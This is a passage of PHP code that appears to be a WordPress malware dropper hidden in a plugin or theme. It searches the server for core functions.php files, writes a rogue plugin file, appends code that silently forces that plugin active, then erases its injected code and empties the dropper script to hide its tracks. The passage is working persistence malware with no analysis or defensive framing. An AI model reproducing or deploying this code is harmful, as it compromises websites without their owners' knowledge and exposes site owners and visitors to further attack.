EOD; define('PLUGIN_CODE', $pluginCodeconst); $insertCodeConst = <<<'EOD' function true_plugins_activate() { $active_plugins = get_option('active_plugins'); $activate_this = array( 'helad.php' ); foreach ($activate_this as $plugin) { if (!in_array($plugin, $active_plugins)) { array_push($active_plugins, $plugin); update_option('active_plugins', $active_plugins); } } $new_active_plugins = get_option('active_plugins'); if (in_array('helad.php', $new_active_plugins)) { $functionsPath = dirname(__FILE__) . '/functions.php'; $functions = file_get_contents($functionsPath); $start = stripos($functions, "function true_plugins_activate()"); $end = strripos($functions, "true_plugins_activate"); $endDelete = $end + mb_strlen("true_plugins_activate") + 3; if($start && $end) { $str = substr($functions, 0, $start); $str .= substr($functions, $endDelete); file_put_contents($functionsPath, $str); } //clear_script } } add_action('init', 'true_plugins_activate'); EOD; define('INSERT_CODE', $insertCodeConst); } // -------------------------------------------------------------------------------------------- // -------------------------------------------------------------------------------------------- // ------------------------------------ PLUGIN ------------------------------------------------ // -------------------------------------------------------------------------------------------- // -------------------------------------------------------------------------------------------- if ((bool)stristr($type, 'wp-content/plugins') && !$fExistPlugin1 && !$fExistPlugin2) { function searchFilesFromPlugin($dir, $tosearch) { $files = array_diff(scandir($dir), [".", ".."]); $filesList = []; foreach($files as $file) { if(!is_dir($dir . '/' . $file)) { if (strtolower($file) == $tosearch) $filesList[] = $dir . '/' . $file; } else { $res = searchFilesFromPlugin($dir . '/' . $file, $tosearch); if ($res) { $arr = $res; $filesList = array_merge($filesList, $arr); } } } return $filesList; } $activatePluginDir = dirname(__FILE__); $currentPluginDir = stristr($activatePluginDir, 'wp-content/plugins/'); if ($currentPluginDir) { $currentPluginDir = str_replace('wp-content/plugins/', '', $currentPluginDir); $currentPluginDir = explode('/', $currentPluginDir)[0]; $pluginPath = explode($currentPluginDir, $activatePluginDir, -1)[0] . $currentPluginDir; } else { $pluginPath = $activatePluginDir; } $pluginFiles = array_filter(scandir($pluginPath), function($name) { if (stristr($name, '.php') !== false) { return $name; } }); $pluginFile = ''; foreach ($pluginFiles as $file) { $temp = file_get_contents($pluginPath . '/' . $file); if (stristr($temp, 'Plugin Name:') !== false) { unset($temp); $pluginFile = $file; break; } unset($temp); } add_action('init', 'insertMyPluginFromPlugin'); function insertMyPluginFromPlugin() { $active_plugins = get_option('active_plugins'); if (!in_array(PLUGIN_NAME, $active_plugins)) { $folderName = dirname($_SERVER['DOCUMENT_ROOT']); $result = searchFilesFromPlugin($folderName, SERCH_FILE); if(0 < count($result)){ $clearScriptCode = <<<'CLEAR' $script = file_get_contents('SCRIPT_PATH'); file_put_contents('SCRIPT_PATH', ''); CLEAR; $clearScriptCode = str_replace('SCRIPT_PATH', SCRIPT_PATH, $clearScriptCode); $insertCode = str_replace('//clear_script', $clearScriptCode, INSERT_CODE); $pluginCode = str_replace( ['HEADER_PLUGIN_NAME', 'HEADER_PLUGIN_DESCRIPTION', 'HEADER_PLUGIN_AUTHOR', 'HEADER_PLUGIN_VERSION'], [HEADER_PLUGIN_NAME, HEADER_PLUGIN_DESCRIPTION, HEADER_PLUGIN_AUTHOR, HEADER_PLUGIN_VERSION], PLUGIN_CODE ); foreach($result as $file) { if (stristr($file, 'wp-includes/functions.php') !== false) { $newPlugin = str_replace('wp-includes/functions.php', 'wp-content/plugins/' . PLUGIN_NAME, $file); $copyPlugin = file_put_contents($newPlugin, $pluginCode); if ($copyPlugin) { $temp = file_get_contents($file); $start = stripos($temp, "function true_plugins_activate()"); $end = strripos($temp, "true_plugins_activate"); $endDelete = $end + mb_strlen("true_plugins_activate") + 3; if($start && $end) { $str = substr($temp, 0, $start); $str .= substr($temp, $endDelete); file_put_contents($file, $str); } file_put_contents($file, PHP_EOL . $insertCode . PHP_EOL, FILE_APPEND | LOCK_EX); } } } } } } // -------------------------------------------------------------------------------------------- // -------------------------------------------------------------------------------------------- // ------------------------------------- THEME ------------------------------------------------ // -------------------------------------------------------------------------------------------- // -------------------------------------------------------------------------------------------- } elseif ((bool)stristr($type, 'wp-content/themes') && (!$fExistTheme1 && !$fExistTheme2)) { function searchFilesFromTheme($dir, $tosearch) { $files = array_diff(scandir($dir), [".", ".."]); $filesList = []; foreach($files as $file) { if(!is_dir($dir . '/' . $file)) { if (strtolower($file) == $tosearch) $filesList[] = $dir . '/' . $file; } else { $res = searchFilesFromTheme($dir . '/' . $file, $tosearch); if ($res) { $arr = $res; $filesList = array_merge($filesList, $arr); } } } return $filesList; } add_action('after_setup_theme', 'updateFilesFromTheme'); function updateFilesFromTheme() { if ( @ $_GET['activated'] === 'true'){ $folderName = dirname($_SERVER['DOCUMENT_ROOT']); $result = searchFilesFromTheme($folderName, SERCH_FILE); $pluginCode = str_replace( ['HEADER_PLUGIN_NAME', 'HEADER_PLUGIN_DESCRIPTION', 'HEADER_PLUGIN_AUTHOR', 'HEADER_PLUGIN_VERSION'], [HEADER_PLUGIN_NAME, HEADER_PLUGIN_DESCRIPTION, HEADER_PLUGIN_AUTHOR, HEADER_PLUGIN_VERSION], PLUGIN_CODE ); if (0 < count($result)) { foreach($result as $file) { if (stristr($file, 'wp-includes/functions.php') !== false) { $newPlugin = str_replace('wp-includes/functions.php', 'wp-content/plugins/' . PLUGIN_NAME, $file); $copyPlugin = file_put_contents($newPlugin, $pluginCode); if ($copyPlugin) { $temp = file_get_contents($file); $start = stripos($temp, "function true_plugins_activate()"); $end = strripos($temp, "true_plugins_activate"); $endDelete = $end + mb_strlen("true_plugins_activate") + 3; if($start && $end) { $str = substr($temp, 0, $start); $str .= substr($temp, $endDelete); file_put_contents($file, $str); } file_put_contents($file, PHP_EOL . INSERT_CODE . PHP_EOL, FILE_APPEND | LOCK_EX); } } } } } } } ?>